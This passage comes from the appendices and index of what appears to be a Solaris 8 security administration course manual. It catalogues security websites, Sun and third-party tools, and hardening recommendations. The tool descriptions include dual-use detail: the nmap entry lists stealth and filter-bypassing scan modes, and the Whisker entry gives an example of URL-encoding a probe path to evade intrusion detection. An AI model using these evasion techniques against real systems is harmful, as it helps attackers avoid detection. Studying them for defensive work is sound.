requirements for a claimed level of assurance. United Kingdom
certicates are recognized in many countries of the world.
IEEE Computer Society
http://www.computer.org/
With over 100,000 members, the Institute of Electrical and Electronics
Engineers (IEEE) Computer Society is the world's leading organization of
computer professionals. Founded in 1946, it is the largest of the 36
societies of the IEEE.
The Computer Society's vision is to be the leading provider of technical
information and services to the world's computing professionals. It
develops electrical and communications standards. This includes Portable
Operating Systems Interface (POSIX) P1003.6, a security standard.
IETF
http://www.ietf.org/
The Internet Engineering Task Force (IETF) is a large open international
community of network designers, operators, vendors, and researchers
concerned with the evolution of the Internet architecture and the smooth
operation of the Internet.
Security Standards
The IETF working groups are grouped into areas, and managed by Area
Directors (ADs). The ADs are members of the Internet Engineering
Steering Group (http://www.ietf.org/iesg.html). Providing
architectural oversight is the Internet Architecture Board (IAB),
(http://www.isi.edu/iab/). The IAB also adjudicates appeals when
someone complains that the IESG has failed. The IAB and IESG are
chartered by the Internet Society (http://www.isoc.org/) for these
purposes. The General Area Director also serves as the chair of the IESG
and of the IETF, and is an ex-ofcio member of the IAB.
The Internet Assigned Numbers Authority (ANA)
(http://www.iana.org/) is the central coordinator for the assignment of
unique parameter values for Internet protocols. The IANA is chartered by
the Internet Society (ISOC) to act as the clearinghouse to assign and
coordinate the use of numerous Internet protocol parameters.
The Open Group
http://www.opengroup.org/
The Open Group is a vendor-neutral, international consortium of
members and is the result of the 1996 merge of the X/Open Company
Ltd. and the Open Software Foundation (OSF).
The Open Group is committed to delivering greater business efciency by
bringing together buyers and suppliers of information technology to
lower the time, cost, and risks associated with integrating new technology
across the enterprise. The Open Group's mission is:
To offer all organizations concerned with open information infrastructures a
forum where we can share knowledge, integrate open initiatives, and certify
approved products and processes in a manner in which they continue to trust our
impartiality.
The key benet to product suppliers is:
G Accelerated market up-take of products based on Open Systems
Standards
The key benets to their customers are:
G Reduced cost of integration, leading to increased budget available
for procurement of products that deliver real value to end users
G Increased exibility in the infrastructure and interoperability with
customers, business partners, and suppliers
Useful Web Sites
Useful Web Sites
The following sites provide more general information on security risks.
Sun Security Coordination Team
http://sunsolve.sun.com/pub-cgi/show.pl?target=security/sec
The Sun Security Coordination Team investigates reports of security
vulnerabilities, responds to customer inquiries about security problems
with Sun software, and publishes Sun Security Bulletins.
To receive security bulletins directly from the Sun Security Coordination
Team, send an email to security-alert@sun.com and include subscribe cws
[your email address] in the subject. For example: subscribe cws
alex.smith@sun.com
The Computer Incident Advisory Center
http://www.ciac.org/ciac/
The Computer Incident Advisory Center (CIAC) is a department of the
United States Department of Energy (US DOE) whose motto is: Keeping
DOE secure. The CIAC publishes security related bulletins on this Web
site.
Computer and Internet Security Resources
http://www.virtuallibrarian.com/legal/ccstatistics.html
This site provides links to security sites as well as other security resources.
Useful Web Sites
Computer Security Institute
http://www.gocsi.com/
The Computer Security Institute (CSI) is a membership organization
specically dedicated to serving and training the information, computer,
and network security professional. There is a fee to join. CSI membership
benets include the ALERT newsletter, quarterly Journal, and Buyers
Guide. CSI also publishes surveys and reports on topics such as computer
crime and information security program assessment (IPAK).
For more information about CSI, email csi@cmp.com or telephone
+1 415-947-6320.
InfoWar.com
http://www.infowar.com
Provides articles and free Infowar.Com List that brings you up to the
minute news on info-security, hacking, infowar, attacks, related news,
reviews, and opinion.
InfoWorld.com
http://www.infoworld.com/researchtools/subject_index/
security.html
This site lists articles relating to security in date order.
Risks Digest
http://catless.ncl.ac.uk/Risks/
This site provides a forum on risks to the public in computers and related
systems. Information is provided in the form of online digests, published
at irregular intervals (but often more than once a week).
Useful Web Sites
SecurityFocus.com
http://www.securityfocus.com/
Provides security articles and other services as a well as useful list of
security tools.
Security Portal
http://securityportal.com/
Another site providing security articles and weekly digests. Also provides
a free security news service sent by email.
SecuritySearch.net
http://www.securitysearch.net/
Another site useful for nding security resources. Lists articles,
whitepapers, books, and the latest security bulletins.
SecurityStats.com
http://www.securitystats.com/
This site provides the latest security news and security statistics.
USENIX
www.usenix.org
USENIX is the Advanced Computing Systems Association. It provides
information on developments of all aspects of computing systems not just
security.
B-1
Appendix B
SolarisOESecurityToolsSummary
The Trusted Solaris8 OE
When separation of information and individuals is of prime importance,
the consider using the Trusted Solaris 8 Operating Environment (OE),
an extension of the Solaris 8 OE. Trusted Solaris 8 software is
compatible with the Solaris 8 OE. That means administrators who have
used Solaris OE software will also be familiar with most Trusted Solaris
administration tools.
Security Extensions
Over the past few decades, computer systems have become corporate-
wide resources, essential for day-to-day operations. A wider range of
information on new products, employee compensation, health records,
marketing and sales plans, and other sensitive data is often stored on
these systems. Considerable cost, damage, and loss can be caused by
hostile or unauthorized access and use of this information. To control
external access, rewalls and other access control methods are often used
as gatekeepers. With the Trusted Solaris 8 OE, the software provides
extensive internal protection against intruders and misuse by enabling
administrators to:
G Limit access to system data and resources You can set controls on
all potential interactions with programs, le access, and utilities on a
user-by-user basis.
G Eliminate superuser You can divide superuser functions into
multiple roles to make penetration far more difcult.
G Independent evaluation authority An independent third party
evaluates the operating system to validate that its security functions
are working correctly.
B-2 Administering Security on the Solaris8 Operating Environment
G Prevent eavesdropping in the window environment In
conventional UNIX environments, an intruding program can capture
keystrokes typed in other windows. Trusted Solaris OE software
provides a trusted path that protects entered data. This is
particularly important for passwords, which can also be protected by
requiring password changes or generating random passwords.
G Augment security auditing Actions that might affect security or
sensitive les can be monitored. To detect suspicious actions,
administrators can generate reports of usage by user, le, data, and
time.
G Prevent spoong programs Trojan horses, such as programs to
intercept passwords or other sensitive data, are prevented by a
graphical user interface and protocol. A trusted graphic displayed in
a reserved area provides continuous, visible feedback of session
integrity.
G Protect local devices against unauthorized users Authorized users
can control access to local devices. In many cases, misuse by
authorized users is the main source of security violations. Trusted
Solaris software helps stop these violations by enabling
administrators to implement a security policy that controls the access
and handling of information, including system administration,
operation, and monitoring tools.
To nd out more about Trusted Solaris 8 OE software, visit Suns Web site
at www.sun.com/trusted-solaris.
The SunScreen Firewall Product
Firewalls control the data ow between two networks, according to
security policy rules. The Solaris 8 OE offers built-in rewall functionality,
with both the lite- and full-product versions.
SunScreen Secure Net 3.1 is a full-featured rewall product that can be
deployed throughout an organization to implement a secure business
network including extranets, secure intranets, and remote access. It offers
affordability, strong cryptography, centralized management, and high
availability for screening and encryption.
Solaris OE Security Tools Summary B-3
SunScreen 3.1 Lite is a rewall product that protects individual servers
or very small workgroups. It is built from the same code as the full
SunScreen Secure Net 3.1 product, provides high-speed, dynamic stateful
packet-ltering, and includes a subset of the features offered with the full
version.
See:
http://www.sun.com/software/securenet/
http://www.sun.com/software/securenet/lite/
SKIP
SKIP secures the network at the IP packet level any networked
application gains the benets of encryption, without requiring
modication. SKIP is unique in that it offers on-the-y encryption. An
Internet host can send an encrypted packet to another host without
requiring a prior message exchange to set up a secure channel.
Some of the advantages of SKIP include:
G No connection setup overhead.
G High-availability; encryption gateways that fail can reboot and
resume decrypting packets instantly, without having to renegotiate
existing connections.
G Allows unidirectional IP (for example, IP broadcast using satellite or
cable).
G Scalable multicast key distribution.
G Gateways can be congured in parallel to perform instant failover.
See:
http://www.sun.com/software/skip/skip15/ds-skip/
IPsec
IPsec is a very strong, network-level protocol. It can protect against a
variety of threats, such as snifng, spoong, ooding, and hijacking.
However, it blocks hosts that do not support it or otherwise have a
security association with the initiating host. For Web trafc, where the
majority of trafc does not require security of any kind, IPsec might need
too much overhead. IPsec is well suited for VPNs and extranets.
A key feature of the Solaris 8 OE security is the IPsec architecture. IPsec is
an initiative to add security services to the IP protocol. It secures
communication channels and ensures that only authorized parties can
communicate on them.
Sun's implementation of IPsec in the Solaris 8 OE supports shared-secret
encryption. The 128-bit MD5 and SHA-1 algorithms are available for
datagram authentication and integrity; 56-bit DES and 168-bit Triple DES
algorithms are available for payload encryption. In addition, the Solaris
OE also supports manual keying.
See:
http://www.sun.com
Sun Enterprise Authentication Mechanism (SEAM)
Sun Enterprise Authentication Mechanism (SEAM) software provides a
distributed, enterprise-wide authentication mechanism for single sign-on
that reduces the number of times each user must go through a login
sequence.
SEAM software delivers an extra layer of security inside your rewall to
protect your enterprise from unauthorized access. Powerful
authentication and single sign-on capabilities enable SEAM to provide a
more secure login process, enabling you to protect your data privacy and
integrity.
See:
http://www.sun.com/software/solaris/ds/ds-seam/
Pluggable Authentication Modules (PAM)
Pluggable Authentication Modules (PAM) allows integration of various
authentication technologies such as UNIX, Kerberos, RSA, smart cards,
and DCE into system entry services such as login, passwd, rlogin,
telnet, ftp, and su without changing any of these services. PAM is
integrated into the Solaris 2.6 release.
See:
http://www.sun.com/software/solaris/pam/
Solaris OE Security Tools Summary B-5
Sun Enterprise Network Security Service (SENSS)
Sun Enterprise Network Security Service (SENSS) is a exible Java
technology-based security solution that permits organizations to audit
and secure their systems and networks in a modern, heterogeneous,
corporate intranet. The software provides a network service daemon that
should be installed on each host in your network; these daemons can then
be linked together in a hierarchy of trust. This hierarchy can be used for
the distribution and execution of digitally-signed packets containing Java
technology code, script, or binary code, which can proactively check and
x host security issues in a bulk, batch-oriented manner. Execution
requests are also digitally signed, replay attacks are prevented, and
network communications are secured by ACLs, PAMs, and security
modules.
See:
http://www.sun.com/communitysource/senss/
Solaris OE Fingerprint Database
This SunSolve
SM
service enables you to verify the integrity of les
distributed with the Solaris OE, such as the /bin/su executable le,
Solaris software patches, and unbundled products such as SPARC
compilers.
The Solaris OE Fingerprint Database ensures that you are using a true le
in an ofcial binary distribution, and not an altered version that can
compromise system security. If you suspect someone has changed your
system without your authorization, you can use the Solaris OE
Fingerprint Database to check les for alteration or damage.
See:
http://sunsolve.sun.com/pubcgi/
show.pl?target=content/content7
PATCHDIAG
PATCHDIAG and patchdiag.xref are intended to check and verify the
current patch level of Solaris OE systems.
See:
http://sunsolve.sun.com
ASET
The Solaris OE includes a software security guard for Sun systems
called Automated Security Enhancement Tool (ASET). Like the security
measures of a building, ASET has three levels of computer system
security (Low, Medium, High) that depend on what the system is used for
and how valuable or sensitive the data or programs that reside on the
system are.
C-1
Appendix C
Third-PartySecurityTools
SAINT (SATAN/SARA)
SAINT is the Security Administrator's Integrated Network Tool. In its
simplest mode, it gathers as much information about remote hosts and
networks as possible by examining such network services as finger, NFS,
NIS, ftp, tftp, rexd, statd, and other services.
The information gathered includes the presence of various network
information services as well as potential security awsusually in the
form of incorrectly setup or congured network services, well-known
bugs in system or network utilities, or poor or ignorant policy decisions. It
can then either report on this data or use a simple rule-based system to
investigate any potential security problems.
Users can examine, query, and analyze the output with an HTML browser.
While the program is primarily geared towards analyzing the security
implications of the results, a great deal of general network information can
be gained when using the toolnetwork topology, network services
running, types of hardware and software being used on the network, and
so on.
However, the real power of SAINT comes into play when used in
exploratory mode. Based on the initial data collection and a user
congurable ruleset, SAINT examines the avenues of trust and
dependencies and iterates further data collection runs over secondary
hosts. This not only allows you to analyze your own network or hosts, but
also to examine the real implications inherent in network trust and
services and helps you make reasonably educated decisions about the
security level of the systems involved.
Third-Party Security Tools
C-2 Administering Security on the Solaris8 Operating Environment
SAINT has a target acquisition program that normally uses the fping
command to determine whether a host or set of hosts in a subnet are alive.
When a host is behind a rewall, however, the tcp_scan program is used
to probe common ports to test for an alive host. It then passes this target
list to an engine that drives the data collection and the main feedback
loop. Each host is examined to see if it has been seen before, and, if not, a
list of tests/probes is run against it (the set of tests depends on the
distance the host is from the initial target and what probe level has been
set.) The tests emit a data record that has the hostname, the test run, and
any results found from the probe; this data is saved in les for analysis.
The user interface uses HTML to link the often vast amounts of data to
more coherent and palatable results that the user can digest and
understand.
See:
http://athena.fit.qut.edu.au/usr/src/saint-
1.2.1/html/saint.html
ftp://ftp.cerias.purdue.edu/pub/tools/unix/scanners/
http://www-arc.com/sara/
Courtney
Courtney detects and reports the presence of scanners, programs like
SATAN, that probe a number of ports on a system in a short time period.
The information gathered can identify security vulnerabilities.
Courtney, a Perl script, uses a utility called tcpdump to determine whether
a scanner has probed a system. Essentially, the tcpdump utility sets the
host's Ethernet interface so that the utility can analyze all the TCP/IP
packets transmitted on the wire. The tcpdump utility then lters the
information to highlight suspicious activity and hands this information to
Courtney for further analysis. Courtney searches for a specic ngerprint
in the data, but unfortunately this is not always successful, because the
tcpdump utility might sometimes relay inaccurate information.
Particularly on slow hosts or networks with very high trafc, the tcpdump
utility might miss some packets and, therefore, miss the distinctive
signature of a scanner. However, Courtney does provide a rst line of
defense.
See:
ftp://ftp.csc.ncsu.edu/pub/security/anti-satan/
Third-Party Security Tools C-3
Gabriel
Gabriel is a SATAN detector, similar to Courtney. While it is only available
for Sun platforms, it is written entirely in the C programming language,
and comes prebuilt.
See:
ftp://ftp.csc.ncsu.edu/pub/security/
TripWire
TripWire for Servers software monitors le changes, veries integrity, and
noties you of any violations of data at rest on network servers. Tripwire
for Servers monitors all le changes regardless of whether they originated
inside or outside of your organization. TripWire for Servers also identies
changes to system attributes including le size, access ags, write time,
and more. You can quickly assess the impact of changes using TripWire
for Servers' easy-to-read reports.
See:
http://www.tripwire.com/
ftp://ftp.cerias.purdue.edu/pub/tools/unix/ids/tripwire/
Top
Monitors the top CPU memory and disk usage.
See:
TCP Wrappers
With this package you can monitor and lter incoming requests for the
systat, finger, ftp, telnet, rlogin, rsh, exec, tftp, talk, and other
network services.
This package provides tiny daemon wrapper programs that can be
installed without any changes to existing software or to existing
conguration les. The wrappers report the name of the client host and of
the requested service; the wrappers do not exchange information with the
client or server applications, and impose no overhead on the actual
conversation between the client and server applications.
See:
ftp://playground.sun.com/pub/casper
Crack
Crack is a password guessing program that quickly locates insecurities in
UNIX (or other) password les by scanning the contents of a password
le, looking for users who have chosen a weak login password.
See:
John the Ripper
John the Ripper is a password cracker, currently available for UNIX, DOS,
Windows NT/95. It detects weak UNIX passwords. It has been tested
with Linux x86/Alpha/SPARC, FreeBSD x86, OpenBSD x86, Solaris 2.x
SPARC and x86, Digital UNIX, AIX, HP-UX, and IRIX.
See:
http://www.openwall.com/john/
AntiCrack
AntiCrack is a password checking program. It checks a raw (not-
encrypted) UNIX password, so it is much faster than Crack.
AntiCrack uses rules and dictionaries in the same manner as Crack does.
If you already use Crack, the rules and the dictionaries for Crack can be
used for AntiCrack as they are.
See:
http://www.teu.ac.jp/nsit/~tominaga/anticrack/
The npasswd Command
The npasswd command replaces the system passwd command to ensure
that users use passwords undetectable by crack.
See:
ftp://ftp.cc.utexas.edu/pub/npasswd
Secure Shell (SSH)
Secure Shell (SSH) is a telnet and ftp replacement. Features of the SSH
Secure Shell include:
G Protects all passwords and data.
G Full replacement for telnet, rlogin, rsh, rcp, and ftp commands.
G Fully integrated secure le transfer and le copying.
G Graphical user interface on Microsoft Windows.
G Automatic authentication of users, no passwords sent in clear text to
prevent the stealing of passwords.
G Multiple strong authentication methods that prevent such security
threats as spoong identity.
G Authentication of both ends of connection, the server and the client
are authenticated to prevent identity spoong, Trojan horses, and so
on.
G Automatic authentication using agents enable strong authentication
for multiple systems with a single sign-on.
G Transparent and automatic tunneling of X11 sessions.
G Tunneling of arbitrary TCP/IP-based applications, such as email.
Encryption and compression of data for security and speed.
G Multiple built-in authentication methods, including passwords,
public key, and host-based authentication.
G Multiple ciphers for encryption, including 3DES, Blowsh, and the
AES candidate TWOFISH.
See:
http://www.ssh.com/products/ssh/index.html
The nmap Utility
The nmap utility scans the ports of large networks, although it also works
for single hosts. The philosophy behind the nmap utility is TMTOWTDI
(There's More Than One Way To Do It). This is the Perl slogan, but it is
equally applicable to scanners. Sometimes you need speed, other times
you need stealth. In some cases, bypassing rewalls might be required.
You might want to scan different protocols (UDP, TCP, ICMP, and so on.).
You just can not do all this with one scanning mode. And you do not want
to have ten different scanners around, all with different interfaces and
capabilities. Therefore, almost every scanning technique is incorporated
into the nmap utility. Specically, the nmap utility supports:
G Vanilla TCP connect() scanning
G TCP SYN (half open) scanning
G TCP FIN, Xmas, or NULL (stealth) scanning
G TCP FTP proxy (bounce attack) scanning
G SYN/FIN scanning using IP fragments (bypasses some packet lters)
G TCP ACK and Microsoft Window scanning
G UDP raw ICMP port unreachable scanning
G ICMP scanning (ping-sweep)
G TCP Ping scanning
G Direct (nonportmapper) RPC scanning
G Remote OS Identication by TCP/IP ngerprinting
G Reverse-identity scanning
See:
http://www.insecure.org/nmap/
Titan
Titan is a collection of programs, each of which either xes or tightens one
or more potential security problems with a particular aspect in the setup
or conguration of a UNIX system. Created by Brad Powell, it was
written in the Bourne shell, and its modular design makes it easy for
anyone who can write a UNIX shell script or program to add to it, as well
completely understand the internal workings of the system.
Titan does not replace other security tools, but when used in combination
with them, it can help make the transformation of a new, out of the box
system into a rewall or security conscious system a signicantly easier
task. In a nutshell, it attempts to improve the security of the system it runs
on.
See:
http://www.fish.com/titan/
COPS
COPS (Computer Oracle and Password System) is a set of programs that
attempt to automate security checks that are often performed manually
(or perhaps with self-written short shell scripts or programs) by a systems
administrator.
See:
ftp://ftp.cerias.purdue.edu/pub/tools/unix/scanners/
Tiger
Tiger supplements COPS by providing additional information on whether
the system les have been tampered with. Tiger is one of the tools used
regularly on Texas A&M's UNIX computers to detect intrusions.
See:
ftp://ftp.vanderbilt.edu/pub/unix/
The dsniff Sniffer
The dsniff package contains tools that examine trafc on a network
including the dsniff sniffer, webspy, a URL sniffer and other tools.
Putting this program on your network might constitute a security
problem; it nd weaknesses in local area network communications.
See:
The sudo Utility
The sudo utility permits superuser-like access controls without the need
to give users the superuser password.
See:
Cerberus Internet Scanner (CIS)
The CIS is a free security scanner written and maintained by Cerberus
Information Security, Ltd. and is designed to help administrators locate
and x security holes in their computer systems.
See:
http://www.cerberus-infosec.co.uk/cis.shtml
Nessus
The Nessus Project provides to the Internet community a free, powerful,
up-to-date, and easytouse remote security scanner.
A security scanner is a software tool which remotely audits a given
network and determines whether hackers can break into it, or misuse it in
some way.
See:
http://www.nessus.org
Whisker
Whisker is a CGI scanner with these features:
G The CGI directory can be predened from the default /cgi-bin, to a
different directory, or a set of well-known CGI paths.
G Before checking for vulnerabilities, Whisker veries that the CGI
directory exists, and that the CGI itself exists, reducing the number
of false positives.
G The server type and version is checked prior to any testing, reducing
checks for unsupported CGIs (for example, Whisker tests the
details.idc le for vulnerability).
G Virtual hosting is fully supported, allowing Whisker to test
vulnerabilities against subdomains within the same server (a feature
not supported by all CGI scanners).
G Whisker can be taught to see through custom made success pages,
which are usually a result of not found errors (this minimizes false
positives).
G Whisker was written in Perl for easy portability and manipulation.
G Interoperability between products and les such as command
separated les, nmap result le, IP subnets and so on.
G URL encoding that hides scans from IDS programs, something like
'/cgi-bin/phf?' is requested by its mime encoding equivalent:
'/%63%67%69%2d%62%69%6e/%66%69%6e%67%65%72' which
causes most IDS programs to not detect the scan.
G Support for a script language that enables people to easily add new
scanning scripts.
See:
http://ww.wiretrip.net/rfp/
SWATCH
The tcpdump Tool
The tcpdump tool is a powerful tool for network monitoring and data
acquisition This program allows you to dump the trafc on a network. It
can be used to print the headers of packets on a network interface that
matches a given expression. You can use this tool to track down network
problems, to detect ping attacks, or to monitor the network activities.
See:
http://www.tcpdump.org
SWATCH
Simple WATCHdog (SWATCH) is a tool that actively monitors UNIX log
les.
See:
ftp://ftp.stanford.edu/general/security-tools/swatch/
Pretty Good Privacy (PGP)
PGP or Pretty Good Privacy is a powerful cryptographic product family
that enables people to securely exchange messages, and to secure les,
disk volumes, and network connections with both privacy and strong
authentication.
See:
http://web.mit.edu/network/pgp.html
Kerberos
Kerberos is a network authentication protocol. It provides strong
authentication for client/server applications by using secret-key
cryptography. A free implementation of this protocol is available from the
Massachusetts Institute of Technology. Kerberos is available in many
commercial products as well.
See:
http://web.mit.edu/kerberos/www/
Virtual Private Networks
Virtual Private Networks
Virtual private networks (VPNs) provide an encrypted connection
between a user's distributed sites over a public network (for example, the
Internet). By contrast, a private network uses dedicated circuits and
possibly encryption.
See:
http://www.epm.ornl.gov/~dunigan/vpn.html
Anti-Snifng Tools
Use these tools to detect if someone is snifng packets on your network.
AntiSniff - Runs on Microsoft Windows only
See:
http://www.l0pht.com
Sentinel - Runs on UNIX
See:
http://www.packetfactory.net/Projects/Sentinel
D-1
Appendix D
SecurityRecommendations
This provides a summary of the security recommendations taken from the
text of the SC-300 Administering Security on the Solaris 8 Operating
Environment course. It is intended only as a guide, not a prescriptive to
do list, because there are always alternative methods to achieve the same
outcome. The important thing is that you are aware of the risks and take
actions appropriate for the sensitivity of the data or importance of the
application environment.
G Educate your user community to respect and accept the level of
security required.
G Have a security policy. Ensure that the pertinent aspects are
communicated to everyone.
G Turn on logging and monitor logs on a daily basis. Use Syslog and
swatch programs to simplify this task.
G Avoid giving out the root password. Disseminate superuser
privileges with RBAC or the sudo command.
G Check the patch releases and update software on a regular basis. Use
the patchdiag and patchdiag.xref le to check and verify the
current patch level of Solaris OE systems.
G Use the Solaris OE Fingerprint Database to verify the integrity of
les distributed with the Solaris OE.
G Use TripWire to ngerprint your congured system and compare it
with currently stored ngerprints on a regular basis.
G Do not allow users to have weak, easily guessed, or reused
passwords. Consider the use of the npasswd command as a
replacement for the passwd command, or check passwords with the
AntiCrack tool. Use password aging.
G Run the crack program on your password le.
Security Recommendations
D-2 Administering Security on the Solaris8 Operating Environment
G Do not allow plain text passwords across the network. Avoid use of
rlogin, Telnet and FTP and use Open Secure Shell (Open SSH)
instead.
G Disable all unnecessary network services such as sendmail (SMTP),
rpc, ftp, dns, and snmp and others.
G Remove programs such as finger, rusers, and rpcinfo that
provide attackers with operating system information, application
versions, user names, and other information.
G Remove all unnecessary SUID and SGID programs.
G Use restricted shell (rsh) for guest accounts.
G Use expiration dates for temporary user accounts such as those
provided to contractors.
G Expire and then delete dormant accounts.
G Set disk quotas and limits to reduce the chance of denial of service
attacks.
G Use le digests to increase the chance of nding Trojan horses and
back doors.
G Run Titan to harden the network.
G Secure backups and removable media devices.
G Make a backup of the system in a known clean state. Destroy any
compromised backups after a suspected break-in.
G Restore data with care.
G Correctly congure Internet servers, particularly be aware of security
risks with FTP servers and CGI scripts behind Web servers.
G Use correctly congured rewalls. Use SunScreen Secure Net 3.1 or
SunScreen 3.1 Lite which provide strong cryptography, centralized
management, and packet ltering.
G Secure your VPNs and extranets with IPsec to protect against a
variety of threats, such as snifng, spoong, ooding, and hijacking.
G Use SAINT to check security over the network and to probe for
potential security weak spots.
G Run Courtney to monitor for SAINT or SATANlike attacks.
G Run an intrusion detection system (IDS).
G Mount dummy attacks to check procedures.
Security Recommendations
Security Recommendations D-3
G Use TCP Wrappers to lter incoming requests for network services
and block untrusted hosts.
G Use the chroot command to restrict access with Anonymous FTP.
G Congure routers to prevent information leakage and unauthorized
access.
G Secure remote access points (such as modems). Use Virtual Private
Networks (VPN) where possible.
G Avoid excessive use of trust relationships, such as .rhosts.
G Avoid excessive use of NFS exports.
G Check for sniffer programs capturing network data. Use the
AnitSniff or Sentinel programs.
Index-1
A
access control 1-19
Access Control Lists 8-1, 8-29
Access File Format 15-17
account
expiration 5-11, 5-12, 5-16,
5-18
inactivity 5-11, 5-18
reactivation 5-16
account modules 13-26
accountability 6-10
Accounting Package 2-30, 2-37
ACK 10-36
ACL 8-1
action 2-11
ActiveX 18-12
Aliases 5-28
aliases 7-27
anlpasswd 6-29
Anonymous FTP 13-20, 13-22,
15-5
AntiCrack 6-29
ASET 4-23, 14-1, 14-10, 14-26,
18-21
Reports 14-35
Running Periodically 14-33
Security Levels 14-27
Athena Project 13-42
Attack Level 12-22
Attacker 1-30
Audit
Classes 3-9
Data 3-26
Events 3-8
Flags 3-14
flags 3-17
Records 3-10
Trail 3-14, 3-22
audit 18-23
audit.log 3-24
audit_warn 3-20
Auditing 3-4
Techniques 9-6
Authentication 1-17
authentication 13-34
Authentication modules 13-26
authorization 1-19, 7-6
authorized_keys 16-30
Automated Security
Enhancement Tool 4-23, 14-1,
14-10
Availability 1-12
B
Back Doors 4-12, 4-13, 4-15, 4-17
backup 1-42
Banner
Files 15-21
Message 15-22
Without TCP Wrappers 15-24
Basic Security Module 3-4, 7-5
Berkeley 13-10
r Commands 13-10
BIOS 17-9
Index-2 Administering Security on the Solaris8 Operating Environment
Break-ins 1-8
BSM 3-1, 3-4, 3-11, 3-40, 7-5
Audit Trail 4-19
Components 3-6
Device Management 3-30, 3-31
bsmconv 3-12
bsmconv script 3-12
bsmunconv 3-13
Buffer Overflow Attack 10-30
C
C++ compiler 1-45
CA 11-7
Centralized Logging 2-13
CERT 14-7
certificate authority 11-7
certificates 16-10
CGI 1-35, 10-32
challenge-response 16-11
Checklists 4-19
Checksums 4-19, 9-9
Algorithms 9-10
chroot 13-19
Client Access Logging 15-14
Client Authentication 16-11
Client Keys 16-27
client-to-server 18-17
commands
ckpacct 2-30
dodisk 2-30
lastlogin 2-32
monacct 2-31
prdaily 2-32
runacct 2-30
Common Gateway Interface 1-35, 10-32
Compression 16-8
Computer Emergency Response
Team 14-7
Computer Vulnerability Emergency
Response Team 1-10
comsat 13-5
Confidential 18-24
confidentiality 1-12, 1-19
Configuration Templates 9-20
Console access 17-6
CONSOLE variable 5-21
control flags 13-31
COPS 14-6
Course Preface-i
Courtney 12-35, 18-27
COVERT 1-10
CPU 17-13
crack 1-47
crack Tool 6-28
crackers 6-6
Cracking Passwords 6-25
CRC 4-19, 14-7
Criminals 1-33
cron Entries 5-25
crypt 8-1, 8-39
cryptographer 17-15
Cryptographic One-Way Hash
Functions 9-11
Cuckoos Egg 5-17
CVS 16-5
cyclic-redundancy-check 4-19, 14-7
D
Data Encryption Standard 11-7, 13-43
Data Harvesting 1-23
Data theft 17-6
databases 9-7
datagram 18-6
Datagrams 11-13
day-zero backups 8-45
DCE 13-25
Debugging Logging 2-14
Default Profiles 5-8
defensive perimeter 18-13
Demilitarized Zone 18-16
demilitarized zone 10-25
Denial of Service 1-11, 1-24, 8-8, 10-33
Denial of Service Attack 4-30
DES 11-7, 13-43
Desk Process 17-17
Device files 13-20
device files 4-15
Device-Clean Scripts 3-36
dial_auth module 13-27
Diffie Hellman algorithm 13-43
Index Index-3
Digital Equipment Corporation 13-42
digital identity 16-10
Directory Permissions 8-12
disabling accounts 5-16
disk partition 13-24
disktacct file 2-33
Distributed Computing
Environment 13-25
DMZ 10-25, 18-16
DNS 1-35, 18-13
Domain Name Services 1-35
Dormant Accounts 5-17
DoS 1-11, 1-24, 4-1, 4-30, 10-31, 10-33, 17-7
dsniff 10-20
dsniff Utility 10-48
Dummy Services 13-9
duplicate account 5-5
Duplicate User ID 5-5
dynamic content 10-32
E
Eavesdropping 17-13
EEPROM 14-28, 17-1, 17-9, 18-10
Passwords 17-26
Security 17-23
eeprom 1-8
electrically erasable programmable
read-only memory 1-8
elm 1-8
encapsulating security payload 11-13
encrypted password 6-6, 6-7
Encrypting Data 8-38
Encryption 16-8
Enterprise Security Audits 18-21
Enterprise-Wide Attacks 1-34
ESMTP 10-45
ESP 11-13, 11-23
etherfind 10-12
exec 13-5
Executable command files 13-20
Extended Simple Mail Transfer
Protocol 10-45
F
fee file 2-33
file digest 4-19, 9-9
algorithms 9-9
file mode 9-6
File System Attacks 8-1
File Transfer Protocol 1-10, 1-35
Files Permissions 8-11
find Commands 4-21
finger 1-35, 13-6
fingerd daemon 4-31, 10-30
firewall 18-5
Firewalls 1-35, 10-25, 12-17, 17-10, 18-14
forgetting passwords 6-21
Fork Bombs 4-31, 4-32
Fraud 1-21
FTP 1-10, 1-35, 18-13
ftp 13-5, 13-28
Users 13-7
G
Generic Security Services 13-25
getfacl 8-31
GID 2-29, 5-7
GNU zip 1-44
grommit 13-11
group ID 5-7, 5-11, 6-5
group identifier 2-29
GSS 13-25
guest account 5-15, 5-16
GUI 12-12
gzip 1-44
H
Hidden 15-9
hidden files 4-17, 5-16
High-level security 14-30
Honey Pots 1-37
Host 1-8
Host Access Control 15-16
Host Key 16-19
hosts.equiv 13-15
how accounting works
location of files 2-32
programs that are run 2-30
types of files 2-33
HTTP 10-2, 10-32
Hubs 17-12
Hyper Text Transfer Protocol 10-32
I
ICMP 1-34, 10-38
identification 1-17
IDS 1-36, 1-37
IETF 11-12
Inadequate Logging 1-35
inbound traffic 11-13
Inconsistencies 9-24
Inode number 9-7
Integrity 1-12
Internet Control Message Protocol 1-34,
10-38
Internet Engineering Task Force 11-12
Internet Protocol 1-34
Security 10-10
Internet Relay Chat 10-40
Internet Worm 4-31
Intrusion Detection System 1-36
IP 1-34
Security Architecture 11-12
IPsec 10-10, 11-12, 18-8, 18-21
Configuration File 11-20
Configurations 11-24
ipseckey 11-14
Keys 11-14
Policies 11-17
Security Considerations 11-26
ipsecconf 11-18
IRC 10-40
J
JASS 14-9
Java
Java Server Pages 10-32
JSP 10-32
JumpStart 14-4
Architecture and Security Scripts 14-9
K
Kerberos 13-1, 13-25
Authentication server 13-43
Features 13-45
Limitations 13-47
v5 13-42
Kernel events 3-8
kill 2-24
Kuang expert system 14-7
L
LAN 17-10
Lax Permissions 8-17
LDAP 3-34, 11-8
Level of Attack 12-16
Lightweight Directory Access
Protocol 6-6, 11-8
Linux 14-11
LKMs 4-28
loadable kernel modules 4-28
Local Area Network 17-10
log on
deny 18-6
success 18-6
logger Utility 2-15
loghost 2-14
login 5-5, 6-19, 13-5, 13-28, 13-34
Low-level security 14-30
M
MAC 17-12
major device number 4-15
mask bits 8-35
Massachusetts Institute of
Technology 13-42
Maximum Transfer Unit 10-38
MD5 Digests 1-46
Medium-level security 14-30
Message Digest 1-46, 9-11, 11-7
Index Index-5
Algorithms 9-11
minfree 3-20
minor device number 4-15
Misconfigured access control 1-34
MIT 13-42
mknod 4-15
mnemoic 6-13
mode bits 8-10
MTU 10-38
N
NetBIOS 1-34
Netgroups 13-12
Network Analyzer Attack 12-33
Network Attacks 4-32
Network Authentication 15-4
Network File Service 12-7
Network Information Service 6-6
network interface card 10-7
Network Service Attack 10-25
Network Sniffing 10-4
